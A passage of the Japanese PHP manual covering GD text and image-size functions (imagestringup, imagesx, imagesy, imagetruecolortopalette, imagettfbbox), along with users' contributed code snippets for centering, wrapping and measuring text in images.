for function to work for strings with only one word. Otherwise it works like a charm, thanks.
tjpoe at cableaz dot com 27-May-2005 07:48
i modified the centering functions and created this which centers each word on it's own line. You can adjust the spacing with the $valign var. currently no implimentation if text is too large for image. strings are tokenized by space, but can obviously be changed.

function ImageStringWrap($image, $font, $text, $color)
{
  $fontwidth = ImageFontWidth($font);
  $fontheight = ImageFontHeight($font);
  $words= str_word_count($text);
  if ($words > 1){
    $string=array(strtok($text,' '));
    for ($i = 1 ; $i <= $words ; $i++){
      $string=array_merge($string,array($i=>strtok(' ')));
    }
  }
  else
    $string=$text;
  $vspace=4;
  $y=((imagesy($image)-($fontheight*$words)-($words*$vspace))/2);
  foreach($string as $st){
    $x=((imagesx($image)-($fontwidth * strlen($st)))/2);
    ImageString($image,$font,$x,$y,$st,$color);
    $y+=($fontheight+$vspace);
  }
}
hope this is helpful
bpgordon at gmail dot com 23-May-2005 04:04
This code produces a png image of the text within the query. It autofits to the length of the string.
Usage: http://yoursite.com/text.php?abcdefg+hijk

Use + to produce a space in the image. The + can be excaped with a carat (^). Most other symbols work fine in the query string, like the ?.

<?php
header ("Content-type: image/png");
$string = $_ENV["QUERY_STRING"];
$md5 = md5($string); //just so we don't convert valid text into a +
$string = str_replace("^+", $md5, $string); //replaces ^+ with long, unnatural string
$string = str_replace("+", " ", $string); //replaces + with space
$string = str_replace($md5, "+", $string); //replaces the long, unnatural string with +
$width  = imagefontwidth($font) * strlen($string);
$height = imagefontheight($font);
$image = @imagecreate($width+2, $height+2);
$black = imagecolorallocate($image, 0, 0, 0); //background
$white = imagecolorallocate($image, 255, 255, 255);
imagestring($image, 2, 1, 1,  $string, $white);
imagepng($image);
imagedestroy($image);
?>
jurgen dot vanoosterwijck at pandora dot be 12-May-2005 10:52
Based on the previous example, here's how to center a string both horizontally and vertically...

<?php
function imagestringcentered ($img,$font,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
shadikka at gmail dot com 26-Mar-2005 11:49
My version of the centered string, it decreases the font number (since I've noticed smaller numbers are smaller fonts) until 1 if the string won't fit. Then it will give up.

<?php
function imagestringcentered ($img,$font,$cy,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
webmaster at acdrifter dot com 28-Feb-2005 08:08
If you are looking to center the text, use the following function; I'm not promising perfection...

function imagecenteredstring ( &$img, $font, $xMin, $xMax, $y, $str, $col ) {
    $textWidth = imagefontwidth( $font ) * strlen( $str );
    $xLoc = ( $xMax - $xMin - $textWidth ) / 2 + $xMin + $font;
    imagestring( $img, $font, $xLoc, $y, $str, $col );
}
cesargus at yahoo dot com 17-Nov-2004 10:27
//simple hello world

<?
header ("Content-type: image/png");

$img_handle = ImageCreate (200, 20) or die ("Cannot Create image");
$back_color = ImageColorAllocate ($img_handle, 0, 10, 10);
$txt_color = ImageColorAllocate ($img_handle, 235, 235, 51);
ImageString ($img_handle, 10, 25, 5,  "Hello world!", $txt_color);
ImagePng ($img_handle);
?>
brooks dot boyd at gmail dot com 13-Oct-2004 12:35
Drawing a string as an image is a handy way to disguise an eMail address so spam sniffers can't get it as easily. The only catch to creating a dynamic image with your eMail in it is the eMail to be displayed must be passed via the query string to enable static HTML to use it. So, the eMail must be encrypted slightly in order to not defeat the purpose of not typing your eMail address outright. I wrote the following script to do so:

Save the following as email.php
<?php
    if ($_GET['addr'] != "") {
        $msg = $_GET['addr'];
        $msg = preg_replace("/\[dot]/",".",$msg);
        $msg = preg_replace("/\[at]/","@",$msg);
        $final = "";
        for ($i=0; $i<=strlen($msg); $i++) {
            $final .= substr($msg, strlen($msg)-$i, 1);
        }
        $msg = $final;

        $char_width = 8;
        $char_height = 17;
        $padding = 3;
        $width = $padding*2+strlen($msg)*$char_width;
        $height = +$padding*2+$char_height;
        $im = imagecreatetruecolor($width,$height);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 255, 0, 100);
        $text = imagecolorallocatealpha($im, 0, 0, 0, 0);
        imagefilledrectangle ($im, 0, 0, $width, $height, $bg); # Make transparent
        imagestring($im, 4, $padding, $padding, $msg, $text);
    } else {
        $im = imagecreatetruecolor(1,1);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 0, 0, 125);
        imagefilledrectangle ($im, 0, 0, 1, 1, $bg); # Make transparent
    }
    header('Content-type: image/jpg');
    imagepng($im);
    imagedestroy($im);

?>

If the script is called without an eMail address, it outputs a 2x2 transparent image.

To call the script to generate the eMail "user@home.com", the HTML tag would be:

<img src="email.php?addr=moc[dot]emoh[at]resu">

To 'encrypt' the eMail address to pass to the script, write the address backwards and replace "." with "[dot]" and "@" with "[at]". It's not the most ironclad protection, but it thwarts most casual eMail sniffers.
php dot net at mvoncken dot nl 14-Feb-2003 02:18
A simple example:
To make one line of text fit in the image.

<?php
header ("Content-type: image/png");
$string = "spam@mvoncken.nl";
$font   = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
$background_color = imagecolorallocate ($im, 255, 255, 255); //white background
$text_color = imagecolorallocate ($im, 0, 0,0);//black text
imagestring ($im, $font, 0, 0,  $string, $text_color);
imagepng ($im);
?>

I use something like this for spamprotection of my visitors (pass userid as an url-parameter for this php)
aholmes84 at hotmail dot com 08-Nov-2002 11:25
When setting the font, any integer less than 1 defaults to 1, and any integer greater than 5 defaults to 5.
deejay_world at yahoo dot com 10-Jun-2002 07:25
Width ImageString, the strings you draw are not automatically wrapped width the edge of the image. You may use this function to automatically wrap them:

function ImageStringWrap($image, $font, $x, $y, $text, $color, $maxwidth)
{
    $fontwidth = ImageFontWidth($font);
    $fontheight = ImageFontHeight($font);

    if ($maxwidth != NULL) {
        $maxcharsperline = floor($maxwidth / $fontwidth);
        $text = wordwrap($text, $maxcharsperline, "\n", 1);
      }

    $lines = explode("\n", $text);
    while (list($numl, $line) = each($lines)) {
        ImageString($image, $font, $x, $y, $line, $color);
        $y += $fontheight;
      }
}

So, in particular, if you want to wrap a text with the edge of the Image, you may do:
ImageStringWrap($img, $font, 0, $y, $text, $color, ImageSX($img) );
bob dot brown at opus dot co dot nz 02-Apr-2002 03:59
If you find that you are getting two characters on the end of your imageString that look like a Y and an upside down L then they're probably representations of CR/LF.  Try trim()ing the string before outputting it.  (I was sooo sure this was a bug <g>)


文字列を垂直に描画する

  • ≪ imagestring
  • imagesx ≫
  • PHP Manual
  • GD および Image 関数
  • 文字列を垂直に描画する

imagestringup

(PHP 4, PHP 5, PHP 7, PHP 8)

imagestringup — 文字列を垂直に描画する

説明

imagestringup ( resource $image , int $font , int $x , int $y , string $string , int $color ) : bool

文字列 string を、指定した座標で垂直に描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

font

latin2 エンコーディングの組み込みのフォントの場合は 1, 2, 3, 4, 5 のいずれか (数字が大きなほうが、より大きいフォントに対応します)、 あるいは imageloadfont() で登録したフォントの識別子のいずれか。

x

左下隅の x 座標。

y

左下隅の y 座標。

string

書き出す文字列。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagestringup() の例

<?php
// 100*100 の画像を作成します
$im = imagecreatetruecolor(100, 100);

// テキストを書き込みます
$textcolor = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
imagestringup($im, 3, 40, 80, 'gd library', $textcolor);

// 画像を保存します
imagepng($im, './stringup.png');
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagestringup()

参考

  • imagestring() - 文字列を水平に描画する
  • imageloadfont() - 新しいフォントを読み込む

User Contributed Notes

13-Dec-2002 05:19
function imagestringdown(&$image, $font, $x, $y, $s, $col)
{
    $width = imagesx($image);
   $height = imagesy($image);

    $text_image = imagecreate($width, $height);

   $white = imagecolorallocate ($text_image, 255, 255, 255);
   $black = imagecolorallocate ($text_image, 0, 0, 0);

    $transparent_colour = $white;
   if ($col == $white)
      $transparent_color = $black;

   imagefill($text_image, $width, $height, $transparent_colour);
   imagecolortransparent($text_image, $transparent_colour);

   imagestringup($text_image, $font, ($width - $x), ($height - $y), $s, $col);
   imagerotate($text_image, 180.0, $transparent_colour);

   imagecopy($image, $text_image, 0, 0, 0, 0, $width, $height);
}


画像の幅を取得する

  • ≪ imagestringup
  • imagesy ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の幅を取得する

imagesx

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesx — 画像の幅を取得する

説明

imagesx ( resource $image ) : int

指定した画像リソース image の幅を返します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

image の幅、あるいはエラー時に false を返します。

例

例1 imagesx() の使用法

<?php

// 300*200 の画像を作成します
$img = imagecreatetruecolor(300, 200);

echo imagesx($img); // 300

?>

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する
  • getimagesize() - 画像の大きさを取得する
  • imagesy() - 画像の高さを取得する

User Contributed Notes

kris 22-Sep-2004 05:49
You can in fact convert pixels to CM or to whatever measurement you want if you know the DPI and current resolution of the image.  This will of course give you the real life print size of the image and not the actual on screen size of the image.

This function seems to have been created for such a purpose.  It is for this reason the creator of the function passes the DPI and resolution to his function.
anC 26-Aug-2004 11:38
You can't convert pixels into centimeters or something else, atleast without knowing the resolution and the size of your screen and the viewrange of it. For example: The pixels on monitor that's resolution is 1024*768 and size is 17' the size of a pixel is smaller than on the monitor that's resolution is 1024*768 too but size is 21'.
leonardo AT saochico DOT com 21-Nov-2003 07:24
This function convert image size of Pixel to Centimeter

<?
#$imagem - source of image
#$dpi - resolution to convert E.g.: 72dpi or 300dpi

function px2cm($image, $dpi) {
    #Create a new image from file or URL
    $img = ImageCreateFromJpeg($image);

    #Get image width / height
    $x = ImageSX($img);
    $y = ImageSY($img);

    #Convert to centimeter
    $h = $x * 2.54 / $dpi;
    $l = $y * 2.54 / $dpi;

    #Format a number with grouped thousands
    $h = number_format($h, 2, ',', ' ');
    $l = number_format($l, 2, ',', ' ');

    #add size unit
    $px2cm[] = $h."cm";
    $px2cm[] = $l."cm";

    #return array w values
    #$px2cm[0] = X
    #$px2cm[1] = Y
    return $px2cm;
}

$image = "C:\\inetpub\\wwwroot\\lab\\trata_img\\l0gik.jpg";
$dpi = 300;

$result = px2cm($image, $dpi);

print ($result[0]." x ".$result[1]);
?>


画像の高さを取得する

  • ≪ imagesx
  • imagetruecolortopalette ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の高さを取得する

imagesy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesy — 画像の高さを取得する

説明

imagesy ( resource $image ) : int

指定した画像リソース image の高さを返します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

image の高さ、あるいはエラー時に false を返します。

例

例1 imagesy() の使用法

<?php

// 300*200 の画像を作成します
$img = imagecreatetruecolor(300, 200);

echo imagesy($img); // 200

?>

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する
  • getimagesize() - 画像の大きさを取得する
  • imagesx() - 画像の幅を取得する

User Contributed Notes

There are no user contributed notes for this page.


TrueColor イメージをパレットイメージに変換する

  • ≪ imagesy
  • imagettfbbox ≫
  • PHP Manual
  • GD および Image 関数
  • TrueColor イメージをパレットイメージに変換する

imagetruecolortopalette

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagetruecolortopalette — TrueColor イメージをパレットイメージに変換する

説明

imagetruecolortopalette ( resource $image , bool $dither , int $ncolors ) : bool

imagetruecolortopalette() は、TrueColorイメー ジをパレットイメージに変換します。この関数のコードは、元々 Independent JPEG Groupライブラリ用に書かれたもので、素晴らしいも のです。このコードは、色をできる限り維持することに加えて、アルファ チャネルに関する情報を出力されるパレットにおいてできるだけ維持す るように修正されています。これは、期待通りにうまくいきません。通 常は、最高の出力品質が保障されるTrueColor出力イメージを単に出力す るのが最良の方法です。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

dither

イメージにディザーをかけることを指定します。 true の場合はディザーが行われます。 出力はぼやけますが、色の近似はより良くなります。

ncolors

パレットに保持される最大の色数を設定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 true color 画像からパレット画像への変換

<?php
// 新しい true color 画像を作成します
$im = imagecreatetruecolor(100, 100);

// ディザリングなしの 255 色パレットに変換します
imagetruecolortopalette($im, false, 255);

// 画像を保存します
imagepng($im, './paletteimage.png');
imagedestroy($im);
?>

User Contributed Notes

djcassis(a)gmail.com 21-Sep-2008 06:52
>> zmorris at zsculpt dot com

I don't have the imageColorMatch() function on my server, but I could slighty improve the quality of the GIF/PNG image by converting it first to 256 colors, then to true colors and finally to the desired number of colors.

<?php

$dither = true;
$colors = 64;

$tmp = imageCreateFromJpeg('example.jpg');
$width = imagesX($tmp);
$height = imagesY($tmp);
imageTrueColorToPalette($tmp, $dither, 256);
$image = imageCreateTrueColor($width, $height);
imageCopy($image, $tmp, 0, 0, 0, 0, $width, $height);
imageDestroy($tmp);
imageTrueColorToPalette($image, $dither, $colors);

?>

Final $image will still have less than 64 colors, but more than if it was directly converted to 64 colors, and they match the JPEG image more.

Dunno why true colors to palette conversions are such a problem...
will at fnatic dot com 24-Feb-2006 12:49
a basic palette to true color function
<?php
    function imagepalettetotruecolor(&$img)
    {
        if (!imageistruecolor($img))
        {
            $w = imagesx($img);
            $h = imagesy($img);
            $img1 = imagecreatetruecolor($w,$h);
            imagecopy($img1,$img,0,0,0,0,$w,$h);
            $img = $img1;
        }
    }
?>
zmorris at zsculpt dot com 16-Aug-2004 10:58
Sometimes this function gives ugly/dull colors (especially when ncolors < 256).  Here is a replacement that uses a temporary image and ImageColorMatch() to match the colors more accurately.  It might be a hair slower, but the file size ends up the same:

<?php
function    ImageTrueColorToPalette2( $image, $dither, $ncolors )
{
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy( $colors_handle );
}
?>
php at roelvanmastbergen dot nl 06-Jun-2004 09:34
The palette created by this function often looks quite awful (at least it did on all of my test images). A better way to convert your true-colour images is by first making a resized copy of them with imagecopyresampled() to a 16x16 pixel destination. The resized image then contains only 256 pixels, which is exactly the number of colours you need. These colours usually look a lot better than the ones generated by imagetruecolortopalette().

The only disadvantage to this method I have found is that different-coloured details in the original image are lost in the conversion.
jemore at nospaM dot m6net dot fr 22-Nov-2003 10:25
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly to GIF format with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
darkelder at php dot net 17-Jul-2003 01:34
TrueColor images should be converted to Palette images with this function. So, if you want to use imagecolorstotal() function [ http://php.net/manual/en/function.imagecolorstotal.php ] , you should first convert the image to a palette image with imagetruecolortopalette();


TypeType フォントを使用したテキストの bounding box を生成する

  • ≪ imagetruecolortopalette
  • imagettftext ≫
  • PHP Manual
  • GD および Image 関数
  • TypeType フォントを使用したテキストの bounding box を生成する

imagettfbbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imagettfbbox — TypeType フォントを使用したテキストの bounding box を生成する

説明

imagettfbbox ( float $size , float $angle , string $fontfile , string $text ) : array

この関数は TrueType テキストの bounding box をピクセル単位で計算して 返します。

注意:

imageftbbox() は、 imagettfbbox() を拡張したものです。 extrainfo を追加でサポートしています。

パラメータ

size

ポイント数単位のフォントサイズ。

angle

測定する text の角度(度単位)。

fontfile

使用したい TrueType フォントへのパス。

どの GDライブラリをPHPが使っているかによって、 いつ fontfile パラメータの先頭が / で始まらず、 .ttf がファイル名に付加されるかが違います。 そして、ライブラリは自らが定義したフォントパスに従ってそのファイル名を探そうとします。

GD ライブラリ 2.0.18 より前のバージョンを使っている場合、 セミコロンではなく、space 文字が 異なるフォントファイルの 'pathのセパレータ' として使われていました。 この機能を意図せず使ってしまうと、次のような警告が発生します: Warning: Could not find/open font. この事象の影響を受けてしまうバージョンでは、 唯一の解決策はフォントをスペースを含まないパスに移動させることだけです。

多くの場合、スクリプトが使っているフォントと同じディレクトリにある場合、 次のようなテクニックで問題を軽減できるでしょう。

<?php
// GD の環境変数を設定
putenv('GDFONTPATH=' . realpath('.'));

// 使用されるフォント名 ( .ttf 拡張子の欠落に注意)
$font = 'SomeFont';
?>

注意:

open_basedir は fontfile には適用され ない ことに注意してください。

text

測定する文字列。

返り値

imagettfbbox() は、テキストの bounding box を 作成するための 4 点を表現する 8 個の要素からなる配列を返します。 エラー時には false を返します。

キー | 内容
0 | 左下角の X 座標
1 | 左下角の Y 座標
2 | 右下角の X 座標
3 | 右下角の Y 座標
4 | 右上角の X 座標
5 | 右上角の Y 座標
6 | 左上角の X 座標
7 | 左上角の Y 座標

各点の位置は、 angle にかかわらず text からの相対位置で表されます。 つまり、"左上"はテキストを水平に見た場合の左上の角を意味します。

例

例1 imagettfbbox() の例

<?php
// 300x150 の画像を作成します
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// 背景を白に設定します
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// フォントファイルへのパス
$font = './arial.ttf';

// まず最初のテキスト用のバウンディングボックスを作成します
$bbox = imagettfbbox(10, 45, $font, 'Powered by PHP ' . phpversion());

// X 座標と Y 座標
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 25;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// 書き込みます
imagettftext($im, 10, 45, $x, $y, $black, $font, 'Powered by PHP ' . phpversion());

// 次に 2 番目のテキスト用のバウンディングボックスを作成します
$bbox = imagettfbbox(10, 45, $font, 'and Zend Engine ' . zend_version());

// 最初のテキストに続ける座標を設定します
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) + 10;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// 書き込みます
imagettftext($im, 10, 45, $x, $y, $black, $font, 'and Zend Engine ' . zend_version());

// ブラウザに出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

注意

注意: この関数は、PHP が FreeType サポート (--with-freetype-dir=DIR) を有効にしてコンパイルされている場合のみ使用可能です。

参考

  • imagettftext() - TrueType フォントを使用してテキストを画像に書き込む
  • imageftbbox() - freetype2 によるフォントを用いたテキストを囲む箱を取得する

User Contributed Notes

dvladimirov77 at gmail dot com 27-May-2020 12:43
if the line starts with a narrow character, for example: "1"

    function new_imagettfbbox($size, $angle, $fontfile, $text)
    {
        $first = substr($text, 0, 1);
        $sub = substr($text, 1);

        switch ($first)
        {
            case '1':
                $text = '0' . $sub;
                break;
        }

        return imagettfbbox($size, $angle, $fontfile, $text);
    }
james dot heazlewood at crownbet com au 20-Feb-2017 07:21
I found the bounding boxes a bit tricky to use when trying to rotate AND align text boxes. I wrote this function allows you to set left, right or center aligned text and also rotate it.

<?php
  /**
   * Renders rotate-able and align-able text of any font or colour
   *
   * @param resource $img Image resource
   * @param string $text
   * @param int $x
   * @param int $y
   * @param int $fontSize
   * @param string $fontFile Full path to font file
   * @param array $color Red, green, blue values in either int (255) or hex (0xFF)
   * @param string $align Accept 'left', 'right', and defaults to center
   * @return void
   */
  function gd_text_aligned($img, $text, $x, $y, $fontSize, $fontFile, $color = [0, 0, 0], $align = 'left') {

      // Create colour Resource
      $textColor = imagecolorallocate($img, $color[0], $color[1], $color[2]);

      // Create bounding box co-ordinates
      $boundingBox = imagettfbbox($fontSize, $rotation, $fontFile, $text);
      $textBox = imagettfbbox($fontSize, 0, $fontFile, $text);

      //  Bounding box array key meanings
      //
      //  $bBox[0] = lower left  X
      //  $bBox[1] = lower left  Y
      //  $bBox[2] = lower right X
      //  $bBox[3] = lower right Y
      //  $bBox[4] = upper right X
      //  $bBox[5] = upper right Y
      //  $bBox[6] = upper left  X
      //  $bBox[7] = upper left  Y
      //
      //     6,7     |     4,5
      //        -----+-----
      //     0,1     |     2,3
      //
      $boundingBoxWidth = $boundingBox[4] - $boundingBox[0];
      $boundingBoxHeight = $boundingBox[5] - $boundingBox[1];
      $flatHeight = $textBox[5] - $textBox[1];

      // Align left right or centred?
      if($align == 'left') {
          $drawX = $x - sin($rotation * M_PI / 180) * ($flatHeight / 2);
          $drawY = $y - cos($rotation * M_PI / 180) * ($flatHeight / 2);
      } else if($align == 'right') {
          $drawX = $x - $boundingBoxWidth + sin($rotation * M_PI / 180) * ($flatHeight / 2);
          $drawY = $y - $boundingBoxHeight + cos($rotation * M_PI / 180) * ($flatHeight / 2);
      } else {
          // no alignment (centred)
          $drawX = $x - $boundingBoxWidth / 2;
          $drawY = $y - $boundingBoxHeight / 2;
      }

      // draw text
      imagettftext(
          $img,
          $fontSize,
          $rotation, $drawX, $drawY,
          $textColor, $fontFile, $text
      );

    }
tuxedobob 03-Nov-2016 04:02
You might save yourself a lot of time and headache if you remember that the bold version of a font is NOT necessarily the same height as the regular version of that font!

(In fact, it can be shorter!)
gw at example dot com 18-Jan-2016 05:32
a little something to replace in blackbart tip :

// start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }

with

// start scanning (0=> black => empty)
  $break = false;
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  // scanning from left to right, breaking when a pixel is found, to scan from the other side : avoid scanning all pixels !
  for($x=0; $x<$w4; $x++){
    for($y=0; $y<$h4; $y++)
      if(imagecolorat($img,$x,$y)){
        $rtop = min($rtop, $y); $rleft = min($rleft, $x);
        $break = true; break;
      }
    if($break) break;
  }
  // scanning from right to left, breaking when a pixel is found
  for($x=($w4-1); $x>$rleft; $x--){
    for($y=0; $y<$h4; $y++)
      if(imagecolorat($img,$x,$y)){
          $rright = max($rright, $x); $rbottom = max($rbottom, $y);
        $break = true; break;
      }
    if($break) break;
  }
//... //

it may be even better to check if the picture is portrait or landscape, to start the loops from left-right(landscape) or top-bottom (portrait)
indraaaa34 at gmail dot com 07-May-2015 12:49
The returned array order is like this:
-----------------------------
| X:4  Y:5      | X:   Y:7        |
-----------------------------
| X:0  Y:1      | X:2  Y:3       |
-----------------------------

eg:
4 for the upper left X
5 for the upper left Y and so on.
user107 31-Mar-2015 03:36
I found a simple solution that was working for me:

 <?php
    if(!isset($_GET['size'])) $_GET['size'] = 44;
    if(!isset($_GET['text'])) $_GET['text'] = "Hello, world!";

    $size = imagettfbbox($_GET['size'], 0, "ARIAL", $_GET['text']);
    $xsize = abs($size[0]) + abs($size[2]);
    $ysize = abs($size[5]) + abs($size[1]);

    $image = imagecreate($xsize, $ysize);
    $blue = imagecolorallocate($image, 0, 0, 255);
    $white = ImageColorAllocate($image, 255,255,255);
    imagettftext($image, $_GET['size'], 0, abs($size[0]), abs($size[5]), $white, "ARIAL", $_GET['text']);

    header("content-type: image/png");
    imagepng($image);
    imagedestroy($image);
?>

Here is the link with a examples:
http://www.tuxradar.com/practicalphp/11/2/6#null
rasmus at mindplay dot dk 11-Apr-2013 01:33
It should be noted that the bounding box coordinates returned by this function are inaccurate - bug reports about this have been open for 5 years, so expect this will likely never be fixed.

More information here:

https://gist.github.com/mindplay-dk/4429153
go4christian at gmail dot com 31-Jul-2012 03:02
Automatic line breaks: This simple function is able automatically create line breaks if you want to write a text on an image. All you have to specify is a maximum length.

<?php
function write_multiline_text($image, $font_size, $color, $font, $text, $start_x, $start_y, $max_width)
{
        //split the string
        //build new string word for word
        //check everytime you add a word if string still fits
        //otherwise, remove last word, post current string and start fresh on a new line
        $words = explode(" ", $text);
        $string = "";
        $tmp_string = "";

        for($i = 0; $i < count($words); $i++)
        {
            $tmp_string .= $words[$i]." ";

            //check size of string
            $dim = imagettfbbox($font_size, 0, $font, $tmp_string);

            if($dim[4] < $max_width)
            {
                $string = $tmp_string;
            } else {
                $i--;
                $tmp_string = "";
                imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string);

                $string = "";
                $start_y += 22; //change this to adjust line-height. Additionally you could use the information from the "dim" array to automatically figure out how much you have to "move down"
            }
        }

        imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string); //"draws" the rest of the string
?>
magnum dot tc dot mr at gmail dot com 07-Jun-2012 10:50
Please note that the 3rd argument is really a "path".
<?php
imagettfbbox(10, 0, 'arial.ttf', 'Hello, World!');  // will result in "Warning: imagettfbbox(): Could not find/open font in ...php on line ..."
?>

use instead something like this:
<?php imagettfbbox(10, 0, './arial.ttf', 'Hello, World!'); ?>
or
<?php imagettfbbox(10, 0, getcwd().'/arial.ttf', 'Hello, World!'); ?>
Anonymous 04-May-2012 01:29
It seems to be worth pointing out that the "points" unit GD2 is using corresponds to 96 dpi, as defined in gd.h:
#define GD_RESOLUTION           96      /* pixels per inch */

So if you want to translate the bbox back to font points, you need to multiply all coordinates by 72/96 = 3/4.
jodybrabec at gmail dot com 30-Aug-2011 03:39
Very CLEAR version of func., with example....

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
    /************
    simple function that calculates the *exact* bounding box (single pixel precision).
    The function returns an associative array with these keys:
    left, top:  coordinates you will pass to imagettftext
    width, height: dimension of the image you have to create
    *************/
    $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);
    $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
    $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

    return array(
     "left"   => abs($minX) - 1,
     "top"    => abs($minY) - 1,
     "width"  => $maxX - $minX,
     "height" => $maxY - $minY,
     "box"    => $rect
    );
}

// Example usage - gif image output

$text_string    = "Hullo World";
$font_ttf        = "./fonts/arial.ttf";
$font_size        = 22;
$text_angle        = 0;
$text_padding    = 10; // Img padding - around text

$the_box        = calculateTextBox($text_string, $font_ttf, $font_size, $text_angle);

$imgWidth    = $the_box["width"] + $text_padding;
$imgHeight    = $the_box["height"] + $text_padding;

$image = imagecreate($imgWidth,$imgHeight);
imagefill($image, imagecolorallocate($image,200,200,200));

$color = imagecolorallocate($image,0,0,0);
imagettftext($image,
    $font_size,
    $text_angle,
    $the_box["left"] + ($imgWidth / 2) - ($the_box["width"] / 2),
    $the_box["top"] + ($imgHeight / 2) - ($the_box["height"] / 2),
    $color,
    $font_ttf,
    $text_string);

header("Content-Type: image/gif");
imagegif($image);
imagedestroy($image);

?>

[ remember: No spaces before or after the <?php ... ?> tag, because of header() call, you Roast! ]
Andrey Zakharov 04-Jan-2011 03:16
For mixed text drawing on image, height given by this function is useless and leads to text's hip-hops over the baseline .

I will use just this:
<?php
$size = 12;//font height
$font = 'Arial';// your font
$char = 'Test';
$char = 'With W';
$char = 'without w but with p and y and q';

    $rect = imagettfbbox($size, 0, $font, $char);

    $image_height =abs( $rect[7] );//do no respect bottom margin
    $imw = $rect[2] - $rect[0]; //as usual
    $bx = abs( $rect[ 0 ] ); // X offset
    $by = $size * 1.25; // Y offset - we will use const LINEHEIGHT
?>
a2hansolo at gmail dot com 22-Dec-2010 11:29
measure bg image size, wrap text to fit image width

<?php
$mx = imagesx($main_img);
$my = imagesy($main_img);

//TEXT VARS/////////
$main_text = ;
$main_text_size = ;
$main_text_x = ($mx/2);

$main_text_color = imagecolorallocate($main_img, $main_text_red, $main_text_green, $main_text_blue);
$words = explode(' ', $main_text);
$lines = array($words[0]);
$currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($main_text_size, 0, $mt_f, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $mx)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }
$line_count = 1;
// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    $line_box = imagettfbbox($main_text_size, 0, $mt_f, "$line");
    $line_width = $line_box[0]+$line_box[2];
    $line_height = $line_box[1]-$line_box[7];
    $line_margin = ($mx-$line_width)/2;
    $line_y = (($line_height+12) * $line_count);
    imagettftext($main_img, $main_t_s, 0, $line_margin, $line_y, $main_text_color, $mt_f, $line);

    // Increment Y so the next line is below the previous line
    $line_count ++;
}
?>
blackbart at simail dot it 15-Apr-2010 11:12
I wrote a simple function that calculates the *exact* bounding box (single pixel precision).
The function returns an associative array with these keys:
left, top:  coordinates you will pass to imagettftext
width, height: dimension of the image you have to create

<?php
function calculateTextBox($font_size, $font_angle, $font_file, $text) {
  $box   = imagettfbbox($font_size, $font_angle, $font_file, $text);
  if( !$box )
    return false;
  $min_x = min( array($box[0], $box[2], $box[4], $box[6]) );
